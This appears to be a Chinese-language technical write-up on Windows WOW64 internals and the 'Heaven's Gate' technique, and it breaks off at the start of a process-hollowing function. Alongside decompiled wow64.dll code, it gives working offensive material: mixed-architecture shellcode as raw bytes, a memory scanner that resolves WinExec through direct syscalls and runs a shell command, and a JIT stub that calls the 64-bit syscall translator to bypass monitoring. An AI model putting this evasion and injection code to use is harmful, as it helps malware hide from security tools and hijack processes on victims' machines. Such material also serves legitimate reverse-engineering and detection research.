.text:4B2F67C0 ; RtlQueryProcessDebugInformation(x,x,x)+131↓p ...
.text:4B2F67C0 000 B8 26 00 00 00 mov eax, 26h ; '&' ; NtOpenProcess
.text:4B2F67C5 000 BA 30 8C 31 4B mov edx, offset _Wow64SystemServiceCall@0 ; Wow64SystemServiceCall()
.text:4B2F67CA 000 FF D2 call edx ; Wow64SystemServiceCall() ; Indirect Call Near Procedure
.text:4B2F67CC 000 C2 10 00 retn 10h ; Return Near from Procedure
.text:4B2F67CC _ZwOpenProcess@16 endp

例如上面26h即为系统函数识别码,该识别码其实是个结构,两个成员组成一个二维矩阵索引值。

1
2
3
4
typedef struct _WOW64_SYSTEM_SERVICE{
USHORT SystemCallNumber:12; //函数识别码
USHOT ServiceTableIndex:4; //系统函数表辨识码
}WOW64_SYSTEM_SERVICE,*PWOW64_SYSTEM_SERVICE;

该二维矩阵即为wow64!sdwhnt32JumpTable全域指针表:

1
2
3
4
5
6
7
8
9
10
11
.rdata:00000001800385F0 30 34 01 80 01 00 00 00     sdwhnt32JumpTable dq offset whNtAccessCheck
.rdata:00000001800385F0 ; DATA XREF: .rdata:sdwhnt32↑o
.rdata:00000001800385F8 D0 66 03 80 01 00 00 00 dq offset whNtWorkerFactoryWorkerReady
.rdata:0000000180038600 40 5D 02 80 01 00 00 00 dq offset whNtAcceptConnectPort
.rdata:0000000180038608 30 C2 02 80 01 00 00 00 dq offset whNtMapUserPhysicalPagesScatter
.rdata:0000000180038610 10 66 03 80 01 00 00 00 dq offset whNtWaitForSingleObject
.rdata:0000000180038618 90 79 00 80 01 00 00 00 dq offset whNtCallbackReturn
.rdata:0000000180038620 C0 DC 01 80 01 00 00 00 dq offset whNtReadFile
.rdata:0000000180038628 F0 A9 02 80 01 00 00 00 dq offset whNtDeviceIoControlFile
.rdata:0000000180038630 70 E3 01 80 01 00 00 00 dq offset whNtWriteFile
;...

翻译机函数程式码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
__int64 __fastcall Wow64SystemServiceEx(unsigned int a1, __int64 a2) {
struct _TEB *v3; // rbx
__int64 v4; // r8
__int64 v5; // rdx
struct _TEB *v6; // rdi
__int64 SpareUlong0; // rax
PVOID *v8; // r14
__int64 (__fastcall *v9)(__int64); // rsi
PVOID *v10; // rdi
__int64 **v11; // rbx
__int64 *v12; // rax
__int64 v13; // rcx
__int64 *v15; // rcx
unsigned int VirtualMemory; // [rsp+20h] [rbp-898h]
PVOID v17; // [rsp+38h] [rbp-880h] BYREF
int v18; // [rsp+40h] [rbp-878h]
char v19[8]; // [rsp+48h] [rbp-870h] BYREF
__int64 v20; // [rsp+50h] [rbp-868h]
int v21; // [rsp+58h] [rbp-860h]
int v22; // [rsp+5Ch] [rbp-85Ch]
unsigned int v23; // [rsp+60h] [rbp-858h]
char v24; // [rsp+64h] [rbp-854h]
PVOID *v25; // [rsp+68h] [rbp-850h]
PVOID v26; // [rsp+70h] [rbp-848h] BYREF
_QWORD v27[259]; // [rsp+78h] [rbp-840h] BYREF
__int64 v28; // [rsp+890h] [rbp-28h] BYREF
v17 = NtCurrentTeb()->TlsSlots[12];
v3 = 0LL;
v18 = 0;
NtCurrentTeb()->TlsSlots[12] = &v17;
v4 = (a1 >> 12) & 3;
v5 = a1 & 0xFFF;
if ( (unsigned int)v5 > LODWORD(ServiceTables[3 * v4 + 1]) ) { //先检查二维索引值是否在指针表范围内
VirtualMemory = -1073741796;
goto LABEL_22;
}
v6 = NtCurrentTeb();
SpareUlong0 = (int)v6->SpareUlong0;
if ( (_DWORD)SpareUlong0 ){
if ( (int)SpareUlong0 < 0 )
v3 = v6;
else
v3 = (struct _TEB *)((char *)v6 + SpareUlong0);
}
v8 = &v6->TlsSlots[3];
v25 = &v6->TlsSlots[3];
v26 = v6->TlsSlots[3];
v27[1] = v27;
v27[0] = v27;
v27[2] = &v28;
v6->TlsSlots[3] = &v26;
v9 = *(__int64 (__fastcall **)(__int64))(*(_QWORD *)&ServiceTables[3 * v4] + 8 * v5); //从sdwhnt32JumpTable中提取对应回调函数指针 并呼叫该指针完成一次32位系统中断仿真
v21 = (a1 >> 12) & 3;
v22 = a1 & 0xFFF;
v6->LastErrorValue = HIDWORD(v3->NtTib.Self);
if ( pfnWow64LogSystemService ) {
v20 = a2
v24 = 0;
Wow64LogSystemServiceWrapper(v19);
VirtualMemory = v9(a2);
v24 = 1;
v23 = VirtualMemory;
Wow64LogSystemServiceWrapper(v19);
}
else if ( v9 == whNtCallbackReturn ) //为一些高频使用的系统API进行加速效能考量 不用真的送出64位系统中断也能完成此次系统中断仿真
VirtualMemory = whNtCallbackReturn(a2);
else if ( v9 == whNtGetWriteWatch )
VirtualMemory = whNtGetWriteWatch(a2);
else if ( v9 == whNtSetTimerEx )
VirtualMemory = whNtSetTimerEx(a2);
else if ( v9 == whNtFreeVirtualMemory )
VirtualMemory = whNtFreeVirtualMemory(a2);
else if ( v9 == whNtAllocateVirtualMemory )
VirtualMemory = whNtAllocateVirtualMemory(a2);
else
VirtualMemory = v9(a2);
HIDWORD(v3->NtTib.Self) = v6->LastErrorValue;
v10 = (PVOID *)*v8;
v11 = (__int64 **)((char *)*v8 + 8);
v12 = *v11;
v13 = **v11;
if ( (__int64 **)(*v11)[1] != v11 || *(__int64 **)(v13 + 8) != v12 )
LABEL_25:
__fastfail(3u);
*v11 = (__int64 *)v13;
for ( *(_QWORD *)(v13 + 8) = v11; v12 != (__int64 *)v11; v15[1] = (__int64)v11 ) {
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, v12);
v12 = *v11;
v15 = (__int64 *)**v11;
if ( (__int64 **)(*v11)[1] != v11 || (__int64 *)v15[1] != v12 )
goto LABEL_25;
*v11 = v15;
}
*v8 = *v10;
LABEL_22:
NtCurrentTeb()->TlsSlots[12] = v17;
if ( *(_DWORD *)(Wow64InfoPtr + 8) && (v18 & 3) == 0 && (v18 & 4) == 0 )
Wow64SetupForInstrumentationReturn();
return VirtualMemory;
}

其中在上述57~63行为微软偷偷设计的暗门,可监控全电脑上所有正在运行的WOW64进程呼叫了哪些32位NtAPI并允许在呼叫前修改参数或修改呼叫的返回值。其内部先确认系统槽是否有wow64log.dll,有则调用前告知系统函数欲参数,调用后通知执行结果。

对于翻译过程,例如whNtOpenProcess。WOW64翻译层即为将遵守x86呼叫约制的原始32位系统中断的参数内容重新解析,并以对应64位资料结构重新封装,最终以x64呼叫约制对ntdll64.dll导出的API进行调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
NTSTATUS __fastcall whNtOpenProcess(unsigned int *a1) {
_DWORD *v1; // rsi
ACCESS_MASK v2; // r14d
struct _CLIENT_ID *v3; // rbx
void **v4; // rdi
struct _CLIENT_ID *p_ClientId; // r9
NTSTATUS result; // eax
__int64 v7; // [rsp+0h] [rbp-68h] BYREF
int v8; // [rsp+20h] [rbp-48h]
__int64 v9; // [rsp+28h] [rbp-40h] BYREF
POBJECT_ATTRIBUTES ObjectAttributes; // [rsp+30h] [rbp-38h] BYREF
__int64 *v11; // [rsp+38h] [rbp-30h]
struct _CLIENT_ID ClientId; // [rsp+40h] [rbp-28h] BYREF
v11 = &v7;
v1 = (_DWORD *)*a1;
v2 = a1[1];
v3 = (struct _CLIENT_ID *)a1[3];
v9 = 0LL;
v4 = (void **)((unsigned __int64)&v9 & -(__int64)((_DWORD)v1 != 0));
v8 = Wow64ShallowThunkAllocObjectAttributes32TO64_FNC(a1[2], &ObjectAttributes);
if ( v8 < 0 )
local_unwind_0(v11, &loc_18000BDA6);
else if ( (_DWORD)v3 ) {
p_ClientId = &ClientId;
ClientId.UniqueThread = (HANDLE)SHIDWORD(v3->UniqueProcess);
ClientId.UniqueProcess = (HANDLE)SLODWORD(v3->UniqueProcess);
goto LABEL_4;
}
p_ClientId = v3;
LABEL_4:
result = NtOpenProcess(v4, v2, ObjectAttributes, p_ClientId); //发出最后对原生系统64位系统中断
if ( (_DWORD)v1 )
*v1 = *(_DWORD *)v4;
return result;
}

x96 Shellcode

能够不论系统为x86还是x64,都能运行的Shellcode称为x96 Shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
; yasm -f bin -o x96shell_msgbox x96shell_msgbox.asm
section .text
bits 32
_main:
call entry
entry:
mov ax, cs
sub ax, 0x23
jz retTo32b
nop

retTo64b:
add dword [esp], b64_shellcode-entry
ret
retTo32b:
add dword [esp], b32_shellcode-entry
ret

; 64 bit shellcode - FatalAppExitA(0, "64bit Hello!") 64位Shellcode
b64_shellcode:
db 0xE9, 0x2B, 0x01, 0x00, 0x00, 0x90, 0x4C, 0x8D, ... 0x41, 0x02, 0x31, 0xC0, 0x66, 0x83, 0x39, 0x00, 0x74, 0x1E, 0x41, 0x0F, 0xB7, 0x08, 0x49, 0x83, 0xC0, 0x02, 0x89, 0xCA, 0x83, 0xCA, 0x20, 0x0F, 0xB7, 0xD2, 0x01, 0xD0, 0xC1, 0xC8, 0x08, 0x66, 0x85, 0xC9, 0x75, 0xE6, 0xC3, 0x0F, 0x1F, 0x00, 0xC3, 0x4C, 0x8D, 0x41, 0x01, 0x31, 0xC0, 0x80, 0x39, 0x00, 0x74, 0x24, 0x0F, 0x1F, 0x40, 0x00, 0x41, 0x0F, 0xB6, 0x08, 0x49, 0x83, 0xC0, 0x01, 0x89, 0xCA, 0x83, 0xCA, 0x20, 0x0F, 0xBE, 0xD2, 0x01, 0xD0, 0xC1, 0xC8, 0x08, 0x84, 0xC9, 0x75, 0xE7, 0xC3, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0xC3, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x4C, 0x8B, 0x48, 0x20, 0x4C, 0x8D, 0x50, 0x20, 0x4D, 0x39, 0xD1, 0x74, 0x2F, 0x48, 0x83, 0xEC, 0x28, 0x41, 0x89, 0xCB, 0xEB, 0x08, 0x4D, 0x8B, 0x09, 0x4D, 0x39, 0xD1, 0x74, 0x17, 0x49, 0x8B, 0x49, 0x50, 0xE8, 0x71, 0xFF, 0xFF, 0xFF, 0x44, 0x39, 0xD8, 0x75, 0xEA, 0x49, 0x8B, 0x41, 0x20, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x31, 0xC0, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x31, 0xC0, 0xC3, 0x57, 0x56, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x63, 0x41, 0x3C, 0x8B, 0xB4, 0x01, 0x88, 0x00, 0x00, 0x00, 0x85, 0xF6, 0x74, 0x42, 0x48, 0x01, 0xCE, 0x8B, 0x46, 0x18, 0x85, 0xC0, 0x74, 0x38, 0x44, 0x8B, 0x4E, 0x20, 0x89, 0xD7, 0x49, 0x89, 0xCB, 0x45, 0x31, 0xD2, 0x8D, 0x58, 0xFF, 0x49, 0x01, 0xC9, 0xEB, 0x03, 0x4D, 0x89, 0xC2, 0x4D, 0x85, 0xC9, 0x74, 0x0F, 0x41, 0x8B, 0x09, 0x4C, 0x01, 0xD9, 0xE8, 0x3D, 0xFF, 0xFF, 0xFF, 0x39, 0xF8, 0x74, 0x18, 0x4D, 0x8D, 0x42, 0x01, 0x49, 0x83, 0xC1, 0x04, 0x4C, 0x39, 0xD3, 0x75, 0xDC, 0x48, 0x83, 0xC4, 0x20, 0x31, 0xC0, 0x5B, 0x5E, 0x5F, 0xC3, 0x90, 0x8B, 0x46, 0x24, 0x4B, 0x8D, 0x14, 0x53, 0x0F, 0xB7, 0x14, 0x02, 0x8B, 0x46, 0x1C, 0x49, 0x8D, 0x14, 0x93, 0x8B, 0x04, 0x02, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0x5E, 0x5F, 0x4C, 0x01, 0xD8, 0xC3, 0x48, 0xB8, 0x46, 0x61, 0x74, 0x61, 0x6C, 0x41, 0x70, 0x70, 0x57, 0x56, 0x53, 0x48, 0x83, 0xEC, 0x40, 0x48, 0x89, 0x44, 0x24, 0x32, 0x48, 0x8D, 0x4C, 0x24, 0x32, 0xB8, 0x41, 0x00, 0x00, 0x00, 0xC7, 0x44, 0x24, 0x3A, 0x45, 0x78, 0x69, 0x74, 0x66, 0x89, 0x44, 0x24, 0x3E, 0xE8, 0xCF, 0xFE, 0xFF, 0xFF, 0x89, 0xC7, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x8B, 0x58, 0x20, 0x48, 0x8D, 0x70, 0x20, 0x48, 0x39, 0xDE, 0x75, 0x0A, 0xEB, 0x45, 0x48, 0x8B, 0x1B, 0x48, 0x39, 0xDE, 0x74, 0x10, 0x48, 0x8B, 0x4B, 0x20, 0x89, 0xFA, 0xE8, 0x1A, 0xFF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x74, 0xE8, 0xC7, 0x44, 0x24, 0x2D, 0x6C, 0x6C, 0x6F, 0x21, 0x48, 0x8D, 0x54, 0x24, 0x25, 0x31, 0xC9, 0x48, 0xBF, 0x36, 0x34, 0x62, 0x69, 0x74, 0x20, 0x48, 0x65, 0x48, 0x89, 0x7C, 0x24, 0x25, 0xC6, 0x44, 0x24, 0x31, 0x00, 0xFF, 0xD0, 0x48, 0x83, 0xC4, 0x40, 0x5B, 0x5E, 0x5F, 0xC3, 0x31, 0xC0, 0xEB, 0xCF, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90

; 32 bit shellcode - FatalAppExitA(0, "32bit Hello!") 32位Shellcode
b32_shellcode:
db 0xE9, 0x1E, 0x01, 0x00, 0x00, 0x90, 0x66, 0x83, ... 0x39, 0x00, 0x74, 0x24, 0x53, 0x31, 0xC0, 0x8D, 0x59, 0x02, 0x0F, 0xB7, 0x0B, 0x83, 0xC3, 0x02, 0x89, 0xCA, 0x83, 0xCA, 0x20, 0x0F, 0xB7, 0xD2, 0x01, 0xD0, 0xC1, 0xC8, 0x08, 0x66, 0x85, 0xC9, 0x75, 0xE8, 0x5B, 0xC3, 0x8D, 0x74, 0x26, 0x00, 0x31, 0xC0, 0xC3, 0x80, 0x39, 0x00, 0x74, 0x28, 0x53, 0x31, 0xC0, 0x8D, 0x59, 0x01, 0x66, 0x90, 0x0F, 0xB6, 0x0B, 0x83, 0xC3, 0x01, 0x89, 0xCA, 0x83, 0xCA, 0x20, 0x0F, 0xBE, 0xD2, 0x01, 0xD0, 0xC1, 0xC8, 0x08, 0x84, 0xC9, 0x75, 0xE9, 0x5B, 0xC3, 0x8D, 0xB4, 0x26, 0x00, 0x00, 0x00, 0x00, 0x31, 0xC0, 0xC3, 0x57, 0x56, 0x53, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x58, 0x14, 0x8D, 0x70, 0x14, 0x39, 0xF3, 0x74, 0x27, 0x89, 0xCF, 0xEB, 0x09, 0x8D, 0x76, 0x00, 0x8B, 0x1B, 0x39, 0xF3, 0x74, 0x1A, 0x8B, 0x4B, 0x28, 0xE8, 0x78, 0xFF, 0xFF, 0xFF, 0x39, 0xF8, 0x75, 0xEE, 0x8B, 0x43, 0x10, 0x5B, 0x5E, 0x5F, 0xC3, 0x8D, 0xB4, 0x26, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x31, 0xC0, 0x5E, 0x5F, 0xC3, 0x8B, 0x41, 0x3C, 0x8B, 0x44, 0x01, 0x78, 0x85, 0xC0, 0x74, 0x6F, 0x55, 0x01, 0xC8, 0x57, 0x56, 0x53, 0x83, 0xEC, 0x08, 0x8B, 0x78, 0x18, 0x89, 0x44, 0x24, 0x04, 0x85, 0xFF, 0x74, 0x28, 0x8B, 0x58, 0x20, 0x89, 0x14, 0x24, 0x89, 0xCE, 0x31, 0xED, 0x01, 0xCB, 0x85, 0xDB, 0x74, 0x0E, 0x8B, 0x0B, 0x01, 0xF1, 0xE8, 0x55, 0xFF, 0xFF, 0xFF, 0x3B, 0x04, 0x24, 0x74, 0x1D, 0x83, 0xC5, 0x01, 0x83, 0xC3, 0x04, 0x39, 0xEF, 0x75, 0xE4, 0x83, 0xC4, 0x08, 0x31, 0xC0, 0x5B, 0x5E, 0x5F, 0x5D, 0xC3, 0x89, 0xF6, 0x8D, 0xBC, 0x27, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x7C, 0x24, 0x04, 0x8D, 0x04, 0x6E, 0x03, 0x47, 0x24, 0x0F, 0xB7, 0x00, 0x8D, 0x04, 0x86, 0x03, 0x47, 0x1C, 0x03, 0x30, 0x83, 0xC4, 0x08, 0x5B, 0x89, 0xF0, 0x5E, 0x5F, 0x5D, 0xC3, 0x90, 0x31, 0xC0, 0xC3, 0x57, 0xB8, 0x41, 0x00, 0x00, 0x00, 0x56, 0x53, 0x83, 0xEC, 0x30, 0x8D, 0x4C, 0x24, 0x22, 0xC7, 0x44, 0x24, 0x22, 0x46, 0x61, 0x74, 0x61, 0xC7, 0x44, 0x24, 0x26, 0x6C, 0x41, 0x70, 0x70, 0xC7, 0x44, 0x24, 0x2A, 0x45, 0x78, 0x69, 0x74, 0x66, 0x89, 0x44, 0x24, 0x2E, 0xE8, 0xDF, 0xFE, 0xFF, 0xFF, 0x89, 0xC7, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x58, 0x14, 0x8D, 0x70, 0x14, 0x39, 0xDE, 0x75, 0x0D, 0xEB, 0x55, 0x90, 0x8D, 0x74, 0x26, 0x00, 0x8B, 0x1B, 0x39, 0xDE, 0x74, 0x0E, 0x8B, 0x4B, 0x10, 0x89, 0xFA, 0xE8, 0x26, 0xFF, 0xFF, 0xFF, 0x85, 0xC0, 0x74, 0xEC, 0x8D, 0x54, 0x24, 0x15, 0xC7, 0x44, 0x24, 0x15, 0x33, 0x32, 0x62, 0x69, 0xC7, 0x44, 0x24, 0x19, 0x74, 0x20, 0x48, 0x65, 0xC7, 0x44, 0x24, 0x1D, 0x6C, 0x6C, 0x6F, 0x21, 0xC6, 0x44, 0x24, 0x21, 0x00, 0x89, 0x54, 0x24, 0x04, 0xC7, 0x04, 0x24, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xD0, 0x83, 0xEC, 0x08, 0x83, 0xC4, 0x30, 0x5B, 0x5E, 0x5F, 0xC3, 0x8D, 0x74, 0x26, 0x00, 0x31, 0xC0, 0xEB, 0xC0, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90

滥用天堂之门暴搜记忆体

经典Shellcode技巧是通过FS:30h或GS:60h取得当前TEB,再找PEB和Ldr,获得当前已挂载的记忆体模组有哪些,找到对应模组基址就能以PE攀爬技巧取出导出的API的绝对地址。这种方法容易被发现,这里可滥用天堂之门暴力搜索记忆体。

这里直接透过天堂之门,用API的系统函数识别码呼叫即可,不必定位API绝对地址。其中TEB+C0h处用于摆放wow64cpu!X86SwitchTo64BitMode绝对地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <Windows.h>
#include <iostream>
#pragma warning(disable:4996)
bool isMemExist(size_t addr) {
int retv;
__asm {
xor ebx, ebx
push[addr]
push ebx
push ebx
push ebx
mov eax, 0x29 // ZwAccessCheckAndAuditAlarm 用于确定一块记忆体存在与否
call dword ptr fs : [0xc0] // Heaven's Gate 呼叫天堂之门
add esp, 0x0c
pop edx
mov[retv], eax
};
return char(retv) != 5;
};
size_t bruteSearch_WinAPI(PCSTR apiName) {
for (size_t addr = 0x1000; addr < 0xFF000000; addr += 0x1000) //0x1000为一个分页大小
if (isMemExist(addr))
if (PIMAGE_DOS_HEADER(addr)->e_magic == IMAGE_DOS_SIGNATURE) {
char modulePath[MAX_PATH];
GetModuleFileNameA(HMODULE(addr), modulePath, sizeof(modulePath));
printf("[+] detect %s at %p\n", modulePath, addr);
// parse export table
auto nth = PIMAGE_NT_HEADERS(addr + PIMAGE_DOS_HEADER(addr)->e_lfanew);
if (auto rva = nth->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
auto eat = PIMAGE_EXPORT_DIRECTORY(addr + rva);
auto nameArr = PDWORD(addr + eat->AddressOfNames);
auto funcArr = PDWORD(addr + eat->AddressOfFunctions);
auto nameOrd = PWORD(addr + eat->AddressOfNameOrdinals);
for (size_t i = 0; i < eat->NumberOfFunctions; i++)
if (!stricmp(PCHAR(addr + nameArr[i]), apiName))
return addr + funcArr[nameOrd[i]];
};
};
return 0;
};
int main() {
if (auto ptrWinExec = bruteSearch_WinAPI("WinExec"))
(decltype(&WinExec)(ptrWinExec))("cmd /c whoami && pause", 1);
return 0;
};

天堂圣杯

主要通过滥用切换CS来改变当前英特尔解析指令集。这里涉及两套巨集,一个是32位运行下切换至64位使用的巨集,另一个是64位运行下切换回32位使用的巨集。64位TEB和PEB记载的资讯是64位的,得用下面些函数读取4GB以上资料内容,并用memcpy64拷贝资料:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
auto memcpy64 = ((void(cdecl*)(ULONG64, ULONG64, ULONG64))((PCSTR)
// enter 64 bit mode 切换至64位模式
"\x6a\x33\xe8\x00\x00\x00\x00\x83\x04\x24\x05\xcb"
// memcpy for 64 bit 读取起点RSI 写入起点RDI 拷贝用rep movs [rdi],[rsi]
"\x67\x48\x8b\x7c\x24\x04\x67\x48\x8b\x74\x24\x0c\x67\x48\x8b\x4c\x24\x14\xf3\xa4"
// exit 64 bit mode 切换回64位模式
"\xe8\x00\x00\x00\x00\xc7\x44\x24\x04\x23\x00\x00\x00\x83\x04\x24\x0d\xcb\xc3"
));
PEB64* getPtr_Peb64() { //泄露当前WOW64进程中64位PEB环境资讯块位址
// mov eax,gs:[00000060]; ret
return ((PEB64 * (*)()) & "\x65\xA1\x60\x00\x00\x00\xC3")();
}
string get64b_CSTR(ULONG64 ptr64bStr) { //将4GB位址以上的字符数组字符串或宽字符数组字符串拷贝到32位变数中 以string资料结构储存
CHAR szBuf[MAX_PATH];
memcpy64((ULONG64)&szBuf, ptr64bStr, sizeof(szBuf));
return *new string(szBuf);
}
wstring get64b_WSTR(ULONG64 ptr64bStr) { //将4GB位址以上的字符数组字符串或宽字符数组字符串拷贝到32位变数中 以wstring资料结构储存
WCHAR szBuf[MAX_PATH];
memcpy64((ULONG64)&szBuf, ptr64bStr, sizeof(szBuf));
return *new wstring(szBuf);
}
UINT64 getPtr_Module64(const wchar_t* szDllName) { //泄露任意指定名称的64位DLL映像基址
PEB_LDR_DATA64 ldrNode = {};
LDR_DATA_TABLE_ENTRY64 currNode = {};
// fetch ldr head node
memcpy64((ULONG64)&ldrNode, (ULONG64)getPtr_Peb64()->Ldr, sizeof(ldrNode));
// read the first ldr node (should be the current EXE module)
for (ULONG64 ptrCurr = ldrNode.InLoadOrderModuleList.Flink;; ptrCurr = currNode.InLoadOrderLinks.Flink) {
memcpy64((ULONG64)&currNode, ptrCurr, sizeof(currNode));
if (wcsstr(szDllName, get64b_WSTR(currNode.BaseDllName.Buffer).c_str()))
return currNode.DllBase;
}
return 0;
}
void getPtr_Wow64SystemServiceEx(UINT64 &value) {
auto ptr_wow64Mod = getPtr_Module64(L"wow64.dll");
printf("[v] current wow64.dll @ %llx\n", ptr_wow64Mod);
char exeBuf[4096];
memcpy64((ULONG)&exeBuf, ptr_wow64Mod, sizeof(exeBuf));
auto k = PIMAGE_NT_HEADERS64(&exeBuf[0] + PIMAGE_DOS_HEADER(exeBuf)->e_lfanew);
auto rvaExportTable = k->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
memcpy64((ULONG)&exeBuf, ptr_wow64Mod + rvaExportTable, sizeof(exeBuf));
auto numOfNames = PIMAGE_EXPORT_DIRECTORY(exeBuf)->NumberOfNames;
auto arrOfNames = new UINT32[numOfNames + 1], arrOfFuncs = new UINT32[numOfNames + 1];
auto addrOfNameOrds = new UINT16[numOfNames + 1];
memcpy64((ULONG)arrOfNames, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfNames, sizeof(UINT32) * numOfNames);
memcpy64((ULONG)addrOfNameOrds, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfNameOrdinals, sizeof(UINT16) * numOfNames);
memcpy64((ULONG)arrOfFuncs, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfFunctions, sizeof(UINT32) * numOfNames);
for (size_t i = 0; i < numOfNames; i++) {
auto currApiName = get64b_CSTR(ptr_wow64Mod + arrOfNames[i]);
printf("[v] found export API -- %s\n", currApiName.c_str());
if (strstr("Wow64SystemServiceEx", currApiName.c_str()))
value = ptr_wow64Mod + arrOfFuncs[addrOfNameOrds[i]];
}
}

接下来定位当前WOW64进程中64位天堂翻译机函数wow64!Wow64SystemServiceEx绝对地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void getPtr_Wow64SystemServiceEx(UINT64 &value) {
auto ptr_wow64Mod = getPtr_Module64(L"wow64.dll");
printf("[v] current wow64.dll @ %llx\n", ptr_wow64Mod);
char exeBuf[4096];
memcpy64((ULONG)&exeBuf, ptr_wow64Mod, sizeof(exeBuf));
auto k = PIMAGE_NT_HEADERS64(&exeBuf[0] + PIMAGE_DOS_HEADER(exeBuf)->e_lfanew);
auto rvaExportTable = k->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
memcpy64((ULONG)&exeBuf, ptr_wow64Mod + rvaExportTable, sizeof(exeBuf));
auto numOfNames = PIMAGE_EXPORT_DIRECTORY(exeBuf)->NumberOfNames;
auto arrOfNames = new UINT32[numOfNames + 1], arrOfFuncs = new UINT32[numOfNames + 1];
auto addrOfNameOrds = new UINT16[numOfNames + 1];
memcpy64((ULONG)arrOfNames, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfNames, sizeof(UINT32) * numOfNames);
memcpy64((ULONG)addrOfNameOrds, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfNameOrdinals, sizeof(UINT16) * numOfNames);
memcpy64((ULONG)arrOfFuncs, ptr_wow64Mod + PIMAGE_EXPORT_DIRECTORY(exeBuf)->AddressOfFunctions, sizeof(UINT32) * numOfNames);
for (size_t i = 0; i < numOfNames; i++) {
auto currApiName = get64b_CSTR(ptr_wow64Mod + arrOfNames[i]);
printf("[v] found export API -- %s\n", currApiName.c_str());
if (strstr("Wow64SystemServiceEx", currApiName.c_str()))
value = ptr_wow64Mod + arrOfFuncs[addrOfNameOrds[i]];
}
}

天堂圣杯核心函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int NtAPI(const char* szNtApiToCall, ...) {
PCHAR jit_stub;
PCHAR apiAddr = PCHAR(getBytecodeOfNtAPI(szNtApiToCall));
static uint64_t ptrTranslator(0);
if (!ptrTranslator)
getPtr_Wow64SystemServiceEx(ptrTranslator); //取得天堂翻译机地址并保存
static uint8_t stub_template[] = {
/* +00 - mov eax, 00000000 */ 0xB8, 0x00, 0x00, 0x00, 0x00,
/* +05 - mov edx, ds:[esp+0x4] */ 0x8b, 0x54, 0x24, 0x04,
/* +09 - mov ecx,eax */ 0x89, 0xC1,
/* +0B - enter 64 bit mode */ 0x6A, 0x33, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24, 0x05, 0xCB,
/* +17 - xchg r14, rsp */ 0x49, 0x87, 0xE6,
/* +1A - call qword ptr [DEADBEEF] */ 0xFF, 0x14, 0x25, 0xEF, 0xBE, 0xAD, 0xDE,
/* +21 - xchg r14, rsp */ 0x49, 0x87, 0xE6,
/* +24 - exit 64 bit mode */ 0xE8, 0x0, 0x0, 0, 0, 0xC7,0x44, 0x24, 4, 0x23, 0, 0, 0, 0x83, 4, 0x24, 0xD, 0xCB,
0xc3,
};
jit_stub = (PCHAR)VirtualAlloc(0, sizeof(stub_template), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(jit_stub, stub_template, sizeof(stub_template));
va_list args;
va_start(args, szNtApiToCall);
*((uint32_t*)&jit_stub[0x01]) = *(uint32_t*)&apiAddr[1];
*((uint32_t*)&jit_stub[0x1d]) = (size_t)&ptrTranslator;
auto ret = ((NTSTATUS(__cdecl*)(...))jit_stub)(args);
return ret;
}

滥用天堂翻译机达成的Process Hollowing技巧如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int RunPortableExecutable(void* Image) {
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
